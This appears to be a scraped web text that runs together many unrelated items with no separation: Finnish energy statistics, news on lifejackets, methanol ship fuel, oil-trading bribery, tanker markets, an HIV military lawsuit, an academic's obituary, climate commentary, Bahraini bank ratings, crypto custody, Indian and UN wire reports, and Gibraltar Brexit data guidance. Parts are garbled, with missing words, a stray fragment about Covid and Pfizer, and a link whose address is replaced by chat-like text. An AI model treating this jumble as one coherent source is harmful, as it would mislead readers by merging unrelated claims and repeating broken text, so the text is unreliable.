TOTAL ENERGY CONSUMPTION 997,147 1 100 Bunkers 34,378 23 . CO2 emissions from energy sector 31 4 . * = Preliminary data. = Category not applicable1) Oil: includes the bio part of transport fuels.2) Coal: includes hard coal, coke, blast furnace gas and coke oven gas.3) The consumption of natural gas does not include raw material use.4) Conversion of electricity generation into fuel units: Nuclear power: 10.91 TJ/GWh (33% total efficiency)5) Conversion of electricity generation into fuel units: Hydro power, wind power and net imports of electricity: 3.6 TJ/GWh (100%)6) Others: includes exothermic heat from industry, recovered fuels, heat pumps, hydrogen, biogas, other bioenergy and solar energy. Source: Statistics Finland, Energy supply and consumption Inquiries: Ville Maljanen 029 551 2691, energia@stat.fi Director in charge: Ville Vertanen Publication in pdf-format (259.5 kB) Updated 20.12.2018 Referencing instructions: Official Statistics of Finland (OSF): Energy supply and consumption [e-publication]. ISSN=1799-7976. 3rd quarter 2018. Helsinki: Statistics Finland [referred: 2.12.2021]. Access method: http://www.stat.fi/til/ehk/2018/03/ehk_2018_03_2018-12-20_tie_001_en.html This Page Is Under Construction - Coming Soon! Why am I seeing this 'Under Construction' page? Shares is the leading weekly publication for retail investors. It is packed with investment ideas, news and educational material to help build and run portfolios and get more from your money. Shares puts on free Investor Events throughout the year across the country. They provide an opportunity for investors to learn more about companies on the stock market and hear from a range of investment experts including fund managers and Shares journalists. Bay of Plenty The civil season is about to kick off here in Tauranga and we have positions for 2 class 2 truck drivers who would be interested... View or Apply on GoodWork.co.nz Bay of Plenty National MP Todd Muller has donated 120 lifejackets to local schools in the Bay of Plenty, for use in water safety programmes. The lifejackets have been given to Todd via his colleague National Party MP Alfred Ngaro, who is promoting a members Bill that would make life jackets compulsory for children under the age of 15 on vessels smaller than six metres long. Todd, who represents a coastal community, is backing this bill, and says as we head into summer we need to put a real focus on water safety, particularly when there are kids involved. Every Kiwi kid should be safe on the water. As a community we need to take a firm line when it comes to making sure kids all have lifejackets, and are wearing them, before we head out on the water, just like we do with seatbelts before a car trip. As far as Im concerned, one preventable death on the water is one too many, says Todd. Last year, 105 people drowned in New Zealand waters, 92 of those deaths were preventable, and tragically that figure includes nine children under the age of 15. Eight of the total deaths occurred right here in the Bay. Twenty six people were caught not wearing or not carrying lifejackets on their boats, kayaks or jet skis in Tauranga over the festive season last year. The Old4New tour has hit New Zealand roads and is reminding people to think hard and fast about the safety of friends and whanau, making sure their lifejackets are fit for purpose. This week, the Old4New van has been visiting the Bay of Plenty, gathering old lifejackets in exchange for new. Bay of Plenty Regional Council harbourmaster Peter Buell says it's encouraging to see people putting their familys safety first. It is great to have conversation with people, many came with stories of why its important they take responsibility for the safety of their families. Most were women, who seemed to be more aware that old lifejackets are not fit for purpose. Community Ambassador for Coastguard, Sue Tucker, has been travelling the country over many summers with Old4New and says during the course of a season they usually trade in around 3,000 personal lifejackets nationwide. Two weeks into this season and that figure already stands at around 700. New Zealanders are great hoarders and old lifejackets seem to be top of the list, but a lifejacket wont last a lifetime, says Sue. They need to be maintained and managed. When you find yourself in a situation where it needs inflating, it needs to work. Many people have no knowledge of how their lifejackets work, or that they contain a gas canister inside, with near 75 percent of people having never opened them up. In addition to the lifejacket trade in, Bay of Plenty Regional Council maritime summer students handed out information on how to stay safe in our waterways this summer. Methanol as a marine fuel seminar held in Dubai Methanol as marine fuel has the potential to address both the IMOs 0.5% global marine fuels sulfur limit and soon to be followed CO2 emissions compliance regulations, according to a meeting in Dubai organised by IMarESTs UAE branch. Seven maritime industry leaders and experts outlined their strategies and shared their views on how the marine fuels landscape will shift in 2020 and possible solutions available, to IMarEST UAE branch-Sea Commerce Consulting organised seminar sponsored by Fedcom and the Methanol Institute. Nikeel Idnani, IMarEST UAE Branch honorary secretary, set the scene by emphasising that shipping companies will have to explore fuel options or exhaust emission abatement technologies to overcome the IMOs low sulfur cap. Capt Saleem Alavi, Sea Commerce Consulting president, a multi-disciplinary consulting & service provider, in his keynote presentation Methanol: The bridging marine fuel - highlighted that shipowners need to get the complete picture and understand the commercial, technical and environmental fundamentals of alternate fuels before opting to spend millions on conversion or ordering new ships. In comparison to LNG, methanol is an easier to handle marine fuel and conversion and maintenance is much less expensive. Capt Saleem cautioned that further regulations to limit CO2 emissions remain a real possibility and made a compelling argument to support methanol as a potential solution to address this issue. Ben Iosefa, vice president global market development, Methanex, provided a shipowners perspective on operating vessels using methanol as fuel, including the economics and availability. Methanex, based in Vancouver, BC, is the worlds largest producer and supplier of methanol to major international markets?. Methanex Corps wholly-owned subsidiary, Waterfront Shipping has a fleet of 28 ships, including seven methanol dual-fuel vessels launched in 2016 with another four new methanol powered ships to be delivered in 2019. Teething troubles with the first methanol fuelled engines have generally been sorted out and improvements made to new engines will be incorporated into the new ships. He claimed that methanol is an innovative marine fuel solution with benefits, such as emission reductions when compared to heavy fuel oil and MGO (99% SOx, 60% NOx and 95% PM), wide availability, low incremental cost, fuel flexibility, competitive fuel costs, safe, environmentally friendly, successfully in use today and its commercialisation activity expanding. The Methanol Institute is based in Singapore and is the global trade association for the methanol industry representing the worlds leading methanol producers, distributors and technology companies. Tim Chan, manager, government relations and business development, Methanol Institute explained that methanol is a cost effective and future proof fuel which can be produced from a variety of feedstocks besides being widely available and alleviates many infrastructure limitations on land and at sea. It is one of the top five seaborne chemical commodities and has been safely handled for over 100 years. Newbuild dual fuel tankers are only marginally more expensive than conventionally fuelled vessels and capital costs for conversions are less than LNG and after treatment technologies, he claimed.. Mark Penfold, manager, global gas solutions, in ABS views on the use of Methanol as marine fuel candidly pointed out that finding the optimal fuel strategy for a fleet is complex. Typical factors to be considered include the ships trading area, ships age, the availability of different fuels (ie LNG, LPG, Methanol, etc) in the area of operation, capital costs and operating costs. He provided information on various compliance options and how ABS Rules are in place for the classification and risk assessment of all low flashpoint fuels and as a third party, can provide objective input about appropriate technologies or alternative fuels for specific vessels. Regulations are becoming stricter and to find the most cost-effective approaches, shipowners and operators must tailor their compliance solutions to their fleet, he said, identifying the two major regulations addressing the safety aspects - the revised IGC Code applicable to all gas carriers and the IGF Code applicable to all other ships using gases or other low flashpoint fuels, together with providing information on the available and emerging engine technologies that meet these safety regulations. Ibrahim Behairy, WinGD managing director, Middle East discussed the latest developments in propulsion units using methanol as a fuel. WinGD low-pressure dual-fuel technology has been developed to respond to the market requirements of providing a propulsion solution capable to run efficiently, effectively and safely on gas, on top of conventional heavy fuel oil or diesel oil, he said. The technology is based on the low-pressure gas system concept. WinGD X-DF engines significantly reduce emissions to lowest level in the industry. GHG emissions are also reduced compared to conventional diesel engines. This system has a competitive initial investment and fulfils Tier III emission requirements without any external exhaust gas after treatment system. In brief, the technology allows a marine 2-stroke engine to simply, safely and reliably run on gas, he claimed. Oil traders implicated in Brazilian bribery scandal Senior executives in two of the worlds largest companies have been accused of involvement in a multi-million dollar bribery scandal to secure lucrative oil deals in Brazil, Global Witness alleged. Commodity trading giants, Trafigura and Vitol, have found themselves embroiled in Brazils Car Wash scandal, claimed to be one of the biggest corruption cases ever. Earlier this month, Brazilian authorities accused both companies, and another trader Glencore, of paying over $15 mill in bribes to officials at state oil company Petrobras. Recently released court documents examined by Global Witness revealed that a former Trafigura board director was deeply involved in the criminality, and the late founder and former chairman of the company was also in the know, Brazilian authorities said. Meanwhile, Trafiguras current COO signed off payments to a middleman that ended up being used for bribes, emails in the court material suggested. It must be pointed out that there is no evidence the COO knew of any bribery, and Trafigura strongly denies any such suggestion. These disclosures come less than a month after an investigation by Global Witness and Swiss campaign group Public Eye first exposed how the three multinationals used middlemen in their Brazilian oil deals. Accusations that senior execs were in on these corrupt deals should force Vitol and Trafigura to take a long, hard look at themselves, said Global Witness Ed Davey. This isnt the first time weve discovered commodities traders using questionable middlemen to broker shady deals, and unless they start changing their approach to corruption, it wont be the last. The UK, US and Switzerland provide key operational bases for the companies, and host the bank accounts of middlemen who were pivotal to the alleged schemes. Global Witness said it had called on law enforcement in each country to launch immediate investigations. Glencore has said that it takes ethics and compliance seriously and will co-operate with Brazilian authorities. Trafigura said it is taking these allegations seriously and are carefully reviewing any information available, while.Vitol said it would be inappropriate to comment on the allegations, but it had a zero tolerance policy over bribery and co-operates fully with the authorities wherever it operates. The Brazilian authorities made eight arrests this month in connection with the investigation but thus far has not brought any charges in the case, Global Witness said.. OPECs timing bad for tankers The timing of the OPEC and other production cuts probably couldnt be any worse, said Gibson Shipbrokers. Once slippage from 2018 is accounted for, some 70 plus newbuilding VLCCs are due for delivery next year, 24 of which are due in the first quarter. A glimmer of hope could be taken from the potential for as many as 60 VLCCs to go in for scrubber retrofitting at some stage next year. However, on an annualised basis, this may only account to the equivalent of just four to six VLCCs taken out of the fleet, assuming each retrofit takes one month. Of course, there are sensitivities on timings. If the bulk of the retrofits are concentrated in the second half of 2019 then the impact might appear greater, but on balance the significance could be limited. It also needs to be considered that some retrofits may take place during normal drydockings. Whilst this does not negate the impact, it must be considered that each year a certain number of drydockings always take place. The potential downside is not just for VLCCs. All crude carriers will be impacted. Beyond OPEC cuts, Aframaxes face a risk of lower production from Russia, Suezmaxes will also be impacted by lower exports from the Middle East, Russia and perhaps West Africa, as Nigeria is now willing to participate in the cuts. The counter argument to this negative tone is that exports from the Atlantic Basin (in particular the US) will continue to rise, offsetting the lost output from the Middle East (see story above). It is debatable whether the anticipated demand increases will be sufficient enough to absorb the high fleet growth expected next year, Gibson warned. Texas VLCC terminal moves closer Corpus Christi Authority Port Authority has announced several milestones in the development of the crude oil export terminal on Harbor Island, Texas. Locally-based Lone Star Ports will lead the development of the terminal, claimed to be the first US onshore export terminal able to handle fully-laden VLCCs. Lone Star is a joint venture between The Carlyle Group and The Berry Group. Berry is the largest private employer in the Corpus Christi area through its numerous investments and operations in the oil and gas industry and its subsidiary Bay Ltd, a Corpus Christi-based infrastructure, construction, and fabrication contractor for the oil and gas sector. Lone Star Ports is led by CEO Jeremiah "Jerry" Ashcroft III who has been responsible for the development of several large marine terminals. The company has signed indicative agreements with Harvest Midstream and EPIC Crude Pipeline, which is backed by funds affiliated with Ares Management. These two pipelines will provide connectivity to more than one million barrels per day. It also entered into an indicative agreement with Martin Midstream Partners to provide a single, integrated VLCC solution on Harbor Island. These agreements and arrangements still remain subject to definitive documentation among the relevant parties, co-ordination with the Port, satisfactory completion of due diligence and final approval by each relevant party. "Our partnership with the Carlyle Group is designed to assure global energy markets that requisite infrastructure will be in place and ready to support the growing exports of American crude oil. We are pleased with the progress The Carlyle Group has achieved thus far in reaching full project commercialisation," said Sean Strawbridge, Port of Corpus Christi CEO. Red Arrow Studios International has optioned the rights to veteran journalist and former Editor in Chief of USA Today Joanne Lipmans bestselling book Thats What She Said: What Men Need to Know (and Women Need to Tell Them) about Working Together to develop into a fictionalised television series. The show, a co-production between Anonymous Content, Charlie Lyons and Red Arrow Studios International, will be executive produced by Paul Green and Paula Munoz Vega for Anonymous Content alongside Charlie Lyons, and Carlo Dusi and Bo Stehmeier for Red Arrow Studios International. Thats What She Said tackles the issues facing workplaces across the globe, providing a roadmap for navigating the world in the post-#MeToo era. The book combines anecdotes from Lipmans own rise to the top of a male-dominated industry with data and research to offer real-world solutions for combating unconscious bias, sexual harassment, bropropriation, mansplaining, the gender wage gap. The producers are currently in discussions with writers to sign on to develop the project further. Thats What She Said is published by HarperCollins. Carlo Dusi, EVP Commercial Strategy, Scripted, Red Arrow Studios International, said: Joannes work is timely and insightful, offering a nuanced exploration of gender politics in the workplace and how we can collectively progress in the wake of #MeToo. Were excited to be working with Charlie and Anonymous Content to develop what promises to be a smart and engaging piece of television. Charlie Lyons added: Joanne is a dazzling storyteller with the worldview and wisdom to tackle this provocative project. Im honored to work with her, Anonymous and Red Arrow on this exciting television event. Share this story On Christmas Day 2015, we lost a dearly beloved queer guanaco (a term of endearment among Salvadorans), Horacio N. Roque Ramirez, Ph.D., to complications from alcoholism. He was only 46 years old, and he was an academic pioneer for LGBT Central Americans pursuing a career in academia. He taught at the University of California, Santa Barbara (UCSB) in the Chicana/o Studies Department, where, according to Gilberto Q. Conchas, Ph.D., "he was a scholar of queer sexuality, and a proponent of oral history, a storyteller of the forgotten histories of the marginalized in society, a scholar of the invisible." I read Horacio's words found in his essay, "This Desire for Queer Survival," and I immediately begin to have chills over these foreshadowing words: I don't want the academic game to kill me. However, the anguish goes deeper than the abuse academia brings to bear on students and faculty of color. Horacio's desire for "queer survival" is a consciousness we as queer, transgender people of color know all too well -- whether we are talking about substance use, HIV/AIDS, family rejection, or the residual effects of complex trauma -- we understand that our bodies are marked with loss and painful memories. A scholar of the invisible and forgotten, Horacio would use obituaries from the gay press to document the lives of queer Latinx people who died from complications of AIDS in the 1980s and 90s. "He carried the grief of a community decimated by HIV/AIDS. Horacio took responsibility for so much his students, queer migrants seeking asylum, HIV-positive Latinas and Latinos," said Nan Alamilla Boyd, Ph.D., professor of women and gender studies at San Francisco State University. Many of his queer subjects were HIV-positive migrants and transgender Latinas, such as the notorious San Francisco performer Teresita, La Campesina. La Campesina was advocating for transgender rights in the 90s, urging San Francisco voters to hit the polls and advocate for LGBT rights. These were some of the people Horacio would interview, highlighting their passion and the human condition. Salvadoran colleagues viewed Horacio as someone with a powerful platform who shaped their understanding of queer theory. "I continue to teach his writing and to tell my Central American Studies classes about him and his legacy," said Leisy Abrego, Ph.D., associate professor of Chicano Studies with University of California at Los Angeles. "For someone like me who is heterosexual, he also always serves as a reminder for the need to be inclusive and to call out homophobia and transphobia in Central American spaces." I remember corresponding with Roque over email about the queer Central American research I was conducting at University of California, Berkeley. I was utterly bewitched by his intellect. I was studying Roque's groundbreaking work, chronicling the efforts of HIV organizations such as Proyecto ContraSIDA Por Vida (PCPV), a nonprofit HIV-prevention organization that provided grassroots health care for the Latinx and LGBT communities in the heart of the Mission District of San Francisco. PCPV was organized by a group of academic scholars who paved the way for queer theory and praxis in tandem with Latinx identities, including Berkeley professor Juana Maria Rodriguez, Ph.D., and playwright Ricardo Abreu Bracho. Roque documented the methodologies these scholars implemented in their work with PCPV, which consisted of harm-reduction principles, sex-positive programs, and a commitment to gender and sexuality studies. But other scholars are now working to honor his legacy, so that his work will not be lost to history. Leda Ramos, M.F.A., lecturer with California State University at Los Angeles, leads a project archiving Central American history and curates an exhibit, "Central American Families in Los Angeles: Networks and Cultural Resistance". In this exhibit, Ramos showcases Horacio's work, among that of other Central American activist-scholars, and admires the methodologies he used, which went beyond traditional qualitative research. "He had an empathetic personality to want to be in spaces were you know it's going to be tough," said Ramos. "But you do it for the love you have, because you want to bring this into conversation." The exhibit is open to the public and will end January 15, 2019. This exhibit is but one of the ways scholars are keeping Roque's legacy alive. It's our duty to honor his legacy and recognize how his work impacted HIV/AIDS prevention. Today, Lambda Legal and OutServe-SLDN, with partner law firm Winston & Strawn, filed a lawsuit on behalf of two HIV-positive members of the United States Air Force who were given discharge orders just days before the holiday season. Lambda Legal and OutServe-SLDN filed the lawsuit, [Roe and Voe v. Mattis](http://Great, here's the links Case page: https://www.lambdalegal.org/in-court/cases/roe-and-voe-v-mattis), in the U.S. District Court for the Eastern District of Virginia. As detailed in a Washington Post exclusive, the case was filed anonymously to protect the plaintiffs' medical privacy. The plaintiffs received notification just days before Thanksgiving, denying their discharge appeals despite compliance with fitness assessments and medical treatment, as well as strong support from commanding officers. Nevertheless, the plaintiffs were found "unfit for continued military service." "It's disgusting that the Trump administration is sending some men and women in uniform home for the holidays without jobs simply because of their HIV status," said Scott Schoettes, Counsel and HIV Project Director at Lambda Legal. "These decisions should be based on science, not stigma. Lambda Legal is suing to stop these separations and will not stop fighting until President Trump understands that there's not a job in the world a person living with HIV cannot safely perform, including the job of soldier." The lawsuit challenges the Pentagon's discriminatory deployment policies, which prevent servicemembers living with HIV from deploying outside the United States without a waiver. For years, these policies have restricted the opportunities of servicemembers with HIV. Now these same deployment restrictions are being used to justify separating servicemembers solely based on HIV status. The "Deploy or Get Out" policy, unveiled by the Trump administration in February 2018, directs the Pentagon to identify servicemembers who cannot be deployed to military posts outside of the United States for more than 12 consecutive months and to separate them from military service. Since current U.S. military policy identifies servicemembers living with HIV as non-deployable, they face immediate discharge under this Trump policy. OutServe-SLDN is also an organizational plaintiff in this case to advance the interests of its members who are living with HIV and serving in the military. Along with Harrison v. Mattis and Deese and Doe v. Mattis, this is the third lawsuit that Lambda Legal and OutServe-SLDN have brought to challenge military policies that discriminate against people living with HIV. "Anyone willing to put their life on the line to defend our country deserves respect, not discrimination," said Peter Perkowski, Legal & Policy Director of OutServe-SLDN. "These Airmen are acknowledged leaders and good at their jobs. They have served honorably for many years. They have the support of their commanders and medical personnel, who state that having HIV will not affect their ability to do their jobs. There is simply no justification for this decision." The case is entitled Roe and Voe v. Mattis, et al. Joining Lambda Legal and OutServe-SLDN on the legal team are attorneys from Winston & Strawn LLP, serving as pro bono counsel. [Note from TheBody: This article was originally published by Lambda Legal on Dec. 19, 2018. We have cross-posted it with their permission.] B-C falls to Camden With six seconds left in the fourth quarter of the Class 3A quarterfinal, the Brookland-Cayce Bearcats were down by three with the ball at the Camden Bulldogs 30-yard line. Quarterback... Adams states his case for Mr. Football award Fewer players have meant more to their teams than Gray Collegiates KZ Adams. Rarely has a week gone by where Adams hasnt rushed for at least 200 yards and a... Mr. Ciruli is the Director of the Crossley Center for Public Opinion Research at the University of Denvers Josef Korbel School of International Studies. He is an adjunct professor teaching public opinion and foreign policy. The Crossley Center conducts research and presents live and virtual programs on foreign policy, politics, public policy and public opinion. Mr. Ciruli holds a law degree from Georgetown University in Washington, D.C. and a bachelors degree cum laude in political science from UCLA. He is a member of the American Association of Public Opinion Research (AAPOR), and is the past-president of the Pacific Chapter of AAPOR (PAPOR). Mr. Ciruli is a board member of the Social Science Foundation of the University of Denver Josef Korbel School of International Studies and past-president of the Georgetown Law Alumni Board and the Denver Athletic Club. According to The Guardian, 90 companies are still directed at the impact of the individual. Sir David Attenborough has long talked on the need for governments to do more to combat climate change // Image Credit: Foreign and Commonwealth Office on Flickr Stop using plastic shopping bags, turn the lights off, don't eat meat, ban straws, take public transport. These are all actions that we consumers are told to take in order to reduce our impact upon the environment. But have we been wrongly convinced that climate change is the fault and responsibility of the individual? corporate-funded climate denial interactive infographic chart Naomi Oreskes, Professor of the History of Science at Harvard University, has written extensively aboutand the campaigns of 'disinformation' which many corporate companies who are responsible for burning the fossil fuels have continually funded since the 1980s. The Guardianshighlights how the earths future is in the hands of less than 100 privately owned, state-funded or owned fuel companies. In this context, to support and fund the campaigns of environmental misinformation and emphasis on individual consciousness in the actions of the consumer detracts attention from the true power that these monopolies have in their global roles in the world. interview David Attenborough, who spoke at the UNs People's Seat in COP24 in Poland earlier this month, has said in anwith the BBC that in the end the important actions can only be taken by big business, industry and by politicians, despite the daily choices that we all make in regards to living more sustainably. He warns that this is not theoretical but that these key players are dealing with real people's futures. He suggests that consumers can make a greater impact by being politically active by convincing their politicians to act on their concerns. You can't burn fossil fuels without the rest of the world knowing about it." The Iceland banned Christmas advert rare example Micheal Mann, Climate Change scientist, advocates for greater accountability, saying thatThe importance placed upon the accountability of a brand could also be a great way for companies to gain greater trust and higher numbers of customers.is aof a large supermarket chain taking direct responsibility in relation to an environmental concern - albeit translating it to consumer responsibility to shop with them. organisations , such as Extinction Rebellion protests in London However, this is not to say that consumers have no power. Governments can be forced to act, often by consumers' political activism. Environmental, such as, have recently held numerous. The group embodies the increasingly common belief that only political action and civil disobedience will get sufficient attention to force the British government to react and declare an environmental emergency. Yet, for the foreseeable future, as profit margins triumph sustainability concerns, companies big and small will continue to burn fossil fuels and feed a stream of misinformation campaigns to detract from their own accountability. It will take deconstructing the power relations through political action, which place the need and profit of big business above that of the individual or environment, to begin to tackle these issues. . Covid , Pfizer BBC. - , , . , ... Home >Police Enforcement > Checkpoints and Stops > New Jersey Cop Guilty Of Shaking Down Motorists .. 1 blockchain Montreal, CA (H4T1V6) Today Rain likely. Some mixed winter precipitation possible. High 5C. Winds SSW at 10 to 15 mph. Chance of rain 100%. Rainfall around a quarter of an inch.. Tonight Rain showers this evening with mostly cloudy conditions overnight. Low -4C. Winds W at 10 to 20 mph. Chance of rain 50%. remaining of Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. Moody's Investors Service (Moody's) has affirmed the long-term deposit and issuer ratings of four retail banks it rates in Bahrain, as well as the senior unsecured and subordinated debt ratings. These banks are BBK, National Bank of Bahrain (NBB), Bahrain Islamic Bank (BiSB) and Khaleeji Commercial Bank (KHCB). Moody's also affirmed the banks' baseline credit assessments (BCA), adjusted BCAs, Counterparty Risk Assessments (CRAs) and Counterparty Risk Ratings (CRRs) for these four institutions. However, only BBK, NBB and BISB's long-term ratings were changed to stable from negative by the top ratings agency on December 17. The outlook on KHCB's long term ratings still remains negative. Moody's decision is mainly driven by the affirmation of the Bahraini government's B2 issuer rating and the change in outlook to stable. "The banks' BCAs are already at the government level, reflecting their standalone strengths, and their long term ratings do not benefit from government support assumptions, despite our view of the strong willingness of the government to provide support for banks in case of need," the ratings agency said in its review. NBB's BCA reflects the bank's resilient deposit funding and healthy liquidity, which benefit from its leading retail franchise in Bahrain, and healthy loss-absorption capacity, supported by its strong capital and solid profitability. These strengths are moderated by high deposit and credit concentrations, and also an increasingly difficult operating environment that increases NBB's already weak asset risks. BBK's BCA captures its strong domestic franchise, which supports its sound profitability; solid liquidity buffers and resilient funding profile; and adequate capital levels. These strengths are counterbalanced by the bank's high deposit and credit concentrations, and a difficult operating environment, which increases asset risks. BIsB's BCA reflects the bank's improved capital base and solid funding profile, despite tightening liquidity. These strengths are moderated by the bank's weak asset quality, the elevated credit risk in the bank's unseasoned and high-growth loan portfolio, and the material borrower- and sector-concentration risks. The Moody's decision mirrors the change in the outlook for Bahraini government's issuer rating to stable from negative on the back of the $10-billion financial support package extended to Bahrain from its GCC neighbors, which, together with fiscal consolidation measures, will help to reduce the government's financing needs. The affirmation of KHCB ratings reflects the resilience of the bank's b2 BCA despite the recent decline in some of its key financial metrics, stated Moody's in its review. KHCB's b2 BCA reflects the bank's adequate capitalisation, and deposit-funded profile, coupled with healthy liquidity. These strengths are moderated by high deposit and credit concentrations; weak asset quality and profitability, further strained by an increasingly difficult operating environment; and increased reliance on market funding. The bank's BCA and long term ratings are already at sovereign level and do not benefit from any government support despite our belief of the government's willingness (within its capacity) to provide support for banks in case of need.-TradeArabia News Service Crypto's Custody Conundrum Asset managers know that they will need to house digital assets with qualified third-party custodians eventually, but reaching that point while coloring within the regulatory lines will be difficult, according to the experts. The fact that the custody rule says, in essence, that you have to keep your client funds and securities at a qualified custodian is, quite frankly impossible, said Karl Cole-Frieman, a managing partner at the law practice Cole-Frieman & Mallon, during a recent webinar hosted by Hedge Fund Law Report. I think there was some 2017 thinking, which shows how kinetic the regulatory environment is, that if you just had bitcoin, ethereum, and things like those that you do not have to comply with the rule because bitcoin is neither client funds or securities. The US Securities and Exchange Commission Chairman Jay Clayton previously has stated that regulator does not consider either digital currency a security. However, Cole-Freiman noted the ample anti-money laundering Federal case law that define bitcoin as funds under the plain meaning of funds. It is very difficult for the SEC to come and say that bitcoin is not client funds, he added. It not only puts asset managers in a regulatory bind because of the dearth of qualified custodians for digital assets that are available but the examiners as well. If they enforce the rule, they would shut everyone down. Asset managers could put policies and procedures in place that would facilitate the move towards qualified custodians, but that would be a bit of a prophylactic, according to Cole-Freiman. It is a little more form over substance, but is appropriate in context if you are going to be examined. Meanwhile, if asset managers decide to self-custody their digital assets, they are taking on a good amount of risk, added fellow panelist Matthew Johnson, co-founder and chief product officer at Digital Asset Custody Company. There is no Depository Trust & Clearing Corp. to go to arbitrate and get your assets back if they are compromised, he said. There is no SWIFT message to clawback a wire transfer. If the assets go to a nefarious person on the blockchain, its immutable, and you wont get it back. Asset managers that decide to self-custody also take on the responsibility for creating and providing access to private key materials, according to Johnson. This could entail having access to the key for the safety deposit box where the private keys are kept in cold storage. There is an SEC no-action letter about verifying assets in your ledger or wallet and putting it into your safety deposit box and keeping your keys in the safety deposit box and that in itself is a way to handle the custody issues, said Lisa Roitman, business development and marketing strategy at Bloomberg Enterprise Services and who participated in the webinar. The safety deposit-box approach is not uncommon since smaller asset managers often lack secure locations within their offices, such as server rooms to which third parties like cleaning staff do not have access, she added. Give some thought to the decision you make and make sure that it goes into your compliance manual if you decided to keep stuff on site. The good news is that third-party custody exists today in a way that it didnt as little as 12 to 18 months ago, added Johnson. For more information on related topics, visit the following channels: Chamarajanagara, Karnataka, Dec 20 (UNI) A Kollegal court has remanded police custody for the four arrested persons arrested including Immadi Mahadevaswamy, junior seer of Salur Mutt at MM Hills after 15 persons died after consuming prasada in a temple in Salwadi village in the district tragedy on last Friday. The accused were produced before the Kollegal court magistrate Mr Srikanths residence on Wednesday night and remanded four days of police custody for further investigation . Besides Mahadevaswamy, Madesha, temple manager, his wife Ambika and priest Doddaiah have also been arrested by the police for allegedly planning and executing the crime at Sulwadi Kichhugatti Maramma Temple in which 15 persons died so far and more then 90 persons are taking treatment in various hospitals in Mysuru. They were brought to residents of judge with heavy security led by ASP Geetha Prasanna and DySPs Jayakumar and Pputtamadiah . Police had sought for ten days of custody , however, judge given only four days of custody. In the meantime the police team led by SP Dharamendra Kumar Meena continued their investigation and accused will be taken to some places in and around the temple to collect information. Cases under 302, 120(b)118 was filed against the four accused . Meanwhile as many as 25 persons were discharged from various hospitals in Mysuru so far and sent to respective Villages. UNI BSP RS HVB1155 United Nations, Dec 20 (UNI) A UN-led team tasked with overseeing the ceasefire which came into effect around a number of critical Yemeni ports, has begun planning operations with a conference call to discuss the general outlines of its work, including agreement of a code of conduct, the UN Spokesperson said. The Redeployment Coordination Committee (RCC) is led by retired Major General Patrick Cammaert, who previously served in a variety of peacekeeping roles at the United Nations, including as Force Commander of the former Mission in Ethiopia and Eritrea (UNMEE), and Military Adviser to UN peacekeeping (DPKO). The RCC members are drawn from military and security representatives of the Yemeni Government and the Houthi militia, with General Cammaert in the role of Chair. In addition, several international observers may be deployed in the city and port of Hudaydah, as well as Saleef and Ras Isa, these ports are critical to the delivery of aid to the country, which has for months now, been home to the worlds worst humanitarian crisis. UN Spokesperson Stephane Dujarric told reporters at UN Headquarters that General Cammaert had "reiterated the commitment of the UN to help the parties to de-escalate tensions" and "highlighted the primacy of the humanitarian goal of the ceasefire and the importance of securing unhindered flow of humanitarian aid", during the inaugural RCC briefing. InTuesday's briefing, Mr Dujarric said that UN chief Antonio Guterres was breathing down the neck of officials to make sure that the UN observers are deployed as soon as possible to monitor the ceasefire. The spokesperson said that General Cammaert has reiterated the importance of securing the unhindered flow of humanitarian aid through the ports, and the commitment of the UN to help the opposing parties fulfil their obligations and commitments, and to help them to de-escalate tensions. General Cammaert will travel on Thursday to Amman, Jordan, with a small advance team, and from there to the Yemeni Capital of Sanaa and Hudaydah. The spokesperson said that General Cammaert plans to convene a first face-to-face meeting with the Committee as soon as possible. UNI XC RSU 1009 Wyoming Business Tips for Dec. 24-31 A weekly look at issues facing Wyoming business owners and entrepreneurs from the Wyoming Small Business Development Center (SBDC) Network, a collection of business assistance programs at the University of Wyoming. By Matt Melinkovich, Timberline Training If someone told you that about half the people who run 50 percent of Americas most active and inventive businesses will retire in the next five to 10 years, would you care? Ownership transition is deadly for the 90 percent of American small businesses that are family-owned or closely held: By some estimates, fewer than 30 percent survive to the second generation and just 5 percent to the third. These small businesses are the very foundation of this nation, responsible for 45 percent of the United States gross national product. While 80 percent of them have 20 or fewer employees, they generate more new products, create more jobs and contribute more to local communities than the large corporations, according to The PricewaterhouseCoopers Family Business Survey 2007/08; Making a Difference; Family Business Series. Lets face it. The baby boomer generation that created this growth is getting tired. Aging boomers are considering their retirement options, and many are reluctant to stay and fight through one more recession. This trying economy and uncertain market forecast are pushing many small-business owners to step away from their role, resulting in one of the largest turnovers in management in the history of American family-owned business. Family-owned and closely held businesses endure or die out depending upon how effectively they plan for the future. With the help of professional service providers, those that survive the coming family business crisis will recreate the energy and wonder that fueled the original entrepreneurial spirit that made this nation great. You can learn more about the strategic importance of business succession planning during the upcoming Wyoming SBDC Network webinar, titled Business Succession Planning -- Its Never Too Early. To register for this no-cost class, click here. The Wyoming SBDC Network offers business expertise to help Wyoming residents think about, launch, grow, reinvent or exit their business. The Wyoming SBDC Network is hosted by UW with state funds from the Wyoming Business Council and funded, in part, through a cooperative agreement with the U.S. Small Business Administration. To ask a question, call 1-800-348-5194, email wsbdc@uwyo.edu, or write 1000 E. University Ave., Dept. 3922, Laramie, WY, 82071-3922. You have permission to edit this article. Edit Close Data Protection Guidance for a No Deal Brexit In November, the European Union and the United Kingdom concluded the terms of an agreement for the orderly departure of the UK from the European Union. Gibraltar was part of that agreement. The Withdrawal Agreement includes a transitional phase until the end of 2020 which also covers Gibraltar. This agreement is subject to ratification by the UK Parliament and by the European Parliament. In the meantime, planning continues for the eventuality that the UK and Gibraltar leave the European Union without this agreement. The guidance to the public below covers that eventuality in respect of data issues. Introduction In the event that the UK and Gibraltar leave the EU on 29 March 2019 without a deal, Gibraltar businesses will need to ensure they continue to be compliant with data protection law. For Gibraltar businesses that operate only within Gibraltar there will be no immediate change. For Gibraltar businesses that operate internationally or exchange personal data with partners in other countries there may be changes that need to be made ahead of the UK/Gibraltar leaving the EU to ensure minimal risk of disruption. It is important for businesses to review whether they would be affected. For those that would be affected, early action is advised as changes may take some time to implement. This notice provides more detail about how our data protection law will work in the unlikely event that weleave the EU without a deal and includes six stepguidance from the Information Commissioner. Amendments to Gibraltars data protection law in the event that the UK/Gibraltar leave the EU without a deal on 29 March 2019 The Government will soon be publishing a Bill for a European Union (Withdrawal) Act (EUWA), which, if passed by the Gibraltar Parliament, will retain the GDPR in Gibraltar law. The fundamental principles, obligations and rights that organisations and data subjects have become familiar with will stay the same. To ensure the Gibraltar data protection framework continues to operate effectively when the UK is no longer an EU 